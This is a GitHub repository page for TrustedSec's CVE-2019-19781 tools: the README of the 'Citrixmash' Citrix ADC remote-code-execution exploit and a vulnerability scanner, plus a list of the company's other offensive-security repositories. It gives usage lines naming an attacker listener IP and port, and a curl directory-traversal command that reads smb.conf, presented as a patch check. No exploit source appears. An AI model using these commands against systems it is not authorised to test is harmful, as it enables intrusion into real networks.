trustedsec/cve-2019-19781 trustedsec/cve-2019-19781

  • Stars
    star
    572
  • Rank 77,995 (Top 2 %)
  • Language
    Python
  • License
    Other
  • Created almost 5 years ago
  • Updated almost 5 years ago
Twitter logo Share LinkedIn logo Share Facebook logo Share
trustedsec/cve-2019-19781
github

trustedsec

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

This is a tool published for the Citrix ADC (NetScaler) vulnerability. We are only disclosing this due to others publishing the exploit code first.

CVE-2019-19781

This was only uploaded due to other researchers publishing their code first. We would have hoped to have had this hidden for awhile longer while defenders had appropriate time to patch their systems.

We are all for responsible disclosure, in this case - the cat was already out of the bag.

Exploits: CVE-2019-19781

Citrixmash (CVE-2019-19781 exploit)

root@stronghold-nix:/home/relik/Desktop/git/cve-2019-19781# python citrixmash.py

Citrixmash v0.1 - Exploits the Citrix Directory Traversal Bug: CVE-2019-19781 Tool Written by: Rob Simon and Dave Kennedy Contributions: The TrustedSec Team Website: https://www.trustedsec.com INFO: https://www.trustedsec.com/blog/critical-exposure-in-citrix-adc-netscaler-unauthenticated-remote-code-execution/ Forensics and IOCS: https://www.trustedsec.com/blog/netscaler-remote-code-execution-forensics/

This tool exploits a directory traversal bug within Citrix ADC (NetScalers) which calls a perl script that is used to append files in an XML format to the victim machine. This in turn allows for remote code execution.

Be sure to cleanup these two file locations: /var/tmp/netscaler/portal/templates/ /netscaler/portal/templates/

Note that DNS hostnames and IP addresses are supported in victimaddress and attackerip_listener fields.

Usage:

python citrixmash.py <attackerip_listener> <attacker_port>

usage: citrixmash.py [-h] target targetport attackerip attackerport

CVE-2019-19781 Scanner

This is a simple test to see if the server is still vulnerable to CVE-2019-19781.

Usage: python3 cve-2019-19781.py

Note you can use CIDR notations such as 192.168.1.1/24 and hostnames as well.

It will result if the server is still vulnerable or not. You can only do one server at a time.

CVE-2019-19781-Scanner Company: TrustedSec Written by: Dave Kennedy This will look to see if the remote system is still vulnerable to CVE-2019-19781. This will only scan one host at a time. You can use CIDR notations as well for example: 192.168.1.1/24 You can use hostnames instead of IP addresses also. You can also use a file with IP addresses generated by an external tool.

Example: python3 cve-2019-19781_scanner.py 192.168.1.1/24 443 Example2: python3 cve-2019-19781_scanner.py 192.168.1.1 443 Example3: python3 cve-2019-19781_scanner.py fakewebsiteaddress.com 443 Example4: python3 cve-2019-19781_scanner.py as15169 443 Example5: python3 cve-2019-19781_scanner.py 192.168.1.1/24 443 verbose Example6: python3 cve-2019-19781_scanner.py file:hostfile 443

Usage: python3 cve-2019-19781_scanner.py targetip targetport

usage: cve-2019-19781_scanner.py [-h] target targetport [verbose]

Manually Validate Patch

If you want to test to see if this exposure is mitigated use the following:

curl https://host/vpn/../vpns/cfg/smb.conf --path-as-is

Or if you are using non public or internal enterprise CA, you can override using the --insecure option

curl https://host/vpn/../vpns/cfg/smb.conf --path-as-is --insecure

Either a 403 means that you are patched or if it returns a Citrix website and NOT the smb.conf file itself.

If you can see smb.conf, then you are vulnerable.

Installation

To install the requirements, you will need to run the command below.

pip3 install -r requirements.txt

More Repositories

1

social-engineer-toolkit

The Social-Engineer Toolkit (SET) repository from TrustedSec - All new versions of SET will be deployed here.
Python
10,592
star
2

ptf

The Penetration Testers Framework (PTF) is a way for modular support for up-to-date tools.
Python
5,071
star
3

unicorn

Unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. Based on Matthew Graeber's powershell attacks and the powershell bypass technique presented by David Kennedy (TrustedSec) and Josh Kelly at Defcon 18.
Python
3,694
star
4

hate_crack

A tool for automating cracking methodologies through Hashcat from the TrustedSec team.
Python
1,628
star
5

CS-Situational-Awareness-BOF

Situational Awareness commands implemented using Beacon Object Files
C
1,230
star
6

trevorc2

TrevorC2 is a legitimate website (browsable) that tunnels client/server communications for covert command execution.
C
1,210
star
7

SysmonCommunityGuide

TrustedSec Sysinternals Sysmon Community Guide
CSS
1,119
star
8

CS-Remote-OPs-BOF

C
745
star
9

meterssh

MeterSSH is a way to take shellcode, inject it into memory then tunnel whatever port you want to over SSH to mask any type of communications as a normal SSH connection. The way it works is by injecting shellcode into memory, then wrapping a port spawned (meterpeter in this case) by the shellcode over SSH back to the attackers machine. Then connecting with meterpreter's listener to localhost will communicate through the SSH proxy, to the victim through the SSH tunnel. All communications are relayed through the SSH tunnel and not through the network.
Python
521
star
10

physical-docs

This is a collection of legal wording and documentation used for physical security assessments. The goal is to hopefully allow this as a template for other companies to use and to protect themselves when conducting physical security assessments.
469
star
11

COFFLoader

C
462
star
12

nps_payload

This script will generate payloads for basic intrusion detection avoidance. It utilizes publicly demonstrated techniques from several different sources. Written by Larry Spohn (@Spoonman1091) Payload written by Ben Mauch (@Ben0xA) aka dirty_ben
Python
434
star
13

tap

The TrustedSec Attack Platform is a reliable method for droppers on an infrastructure in order to ensure established connections to an organization.
Python
376
star
14

orpheus

Bypassing Kerberoast Detections with Modified KDC Options and Encryption Types
Python
360
star
15

hardcidr

hardCIDR is a Linux Bash script, but also functions under macOS. Your mileage may vary on other distros. The script with no specified options will query ARIN and a pool of BGP route servers. The route server is selected at random at runtime.
Shell
356
star
16

egressbuster

Egressbuster is a method to check egress filtering and identify if ports are allowed. If they are, you can automatically spawn a shell.
Python
341
star
17

artillery

The Artillery Project is an open-source blue team tool designed to protect Linux and Windows operating systems through multiple methods.
326
star
18

spraywmi

SprayWMI is an easy way to get mass shells on systems that support WMI. Much more effective than PSEXEC as it does not leave remnants on a system.
Python
253
star
19

ELFLoader

C
246
star
20

ridenum

Rid_enum is a null session RID cycle attack for brute forcing domain controllers.
Python
228
star
21

The_Shelf

Retired TrustedSec Capabilities
Python
216
star
22

Obsidian-Vault-Structure

213
star
23

SeeYouCM-Thief

HTML
178
star
24

User-Behavior-Mapping-Tool

Python
159
star
25

specula

Python
158
star
26

spoonmap

Python
147
star
27

SliverKeylogger

C++
141
star
28

pivoter

Pivoter is a proxy tool for pentesters to have easier lateral movement.
C
139
star
29

CrackHound

Python
132
star
30

PPLFaultDumpBOF

C
131
star
31

cors-poc

HTML
128
star
32

SHIPS

The Shared Host Integrated Password System (SHIPS) is a solution to provide unique and rotated local super user or administrator passwords for environments where it is not possible or not appropriate to disable these local accounts. Clients may be configured to rotate passwords automatically. Stored passwords can be retrieved by desktop support personnel as required, or updated when a password has to be manually changed in the course of system maintenance. By having unique passwords on each machine and logging of password retrievals, security can be improved my making networks more resistant to lateral movement by attackers and enhancing the ability to attribute actions to individual persons.
JavaScript
127
star
33

CS_COFFLoader

C#
122
star
34

quicksql

QuickSQL is a simple MSSQL query tool that allows you to connect to MSSQL databases and does not require administrative level rights to use.
Python
100
star
35

tscopy

Python
88
star
36

HoneyBadger

Ruby
81
star
37

conqr

ConQR is an open source ticketing system for conferences to issue QRCode's in a quick, efficient, and easy manner.
Python
74
star
38

auto_SettingContent-ms

This is a quick POC for using the Matt Nelson (enigma0x3) technique for generating a malicious .SettingContent-ms extension type for remote code execution. This automates generating an HTA downloader and embeds it in the SettingContent-ms file for you and starts Apache.
Python
49
star
39

defensive-scripts

PowerShell
45
star
40

wpupdate

WPUpdate is a simple Linux service that automatically checks for a new version of Wordpress each night at 2AM.
Python
37
star
41

proxy_helper

Proxy Helper is a WiFi Pineapple module that will automatically configure the Pineapple for use with a proxy such as Burp Suite.
JavaScript
32
star
42

Windows-MS-LSAT-RPC-Example

Windows RPC example calling stubs generated from MS-LSAT and MS-LSAD
C
24
star
43

hash_parser

This is a hash parser that will export a rc file compatible with Metasploit. This is useful when compromising a separate domain and want to see if any of the credentials work on another domain or other systems.
Python
22
star
44

Zoinks

Manage Engine Decrypter
Python
22
star
45

VerifyELF

C
21
star
46

inProc_Evade_Get-InjectedThread

PoC code from blog
C
15
star
47

scriptkiddie-wmi-provider

C#
13
star
48

TCS_InjectionTechniques

C
12
star
49

RisingSun

RisingSun: Decoding SUNBURST C2 to identify infected hosts without network telemetry.
Go
9
star
50

LLVM-Obfuscation-Experiments

C
7
star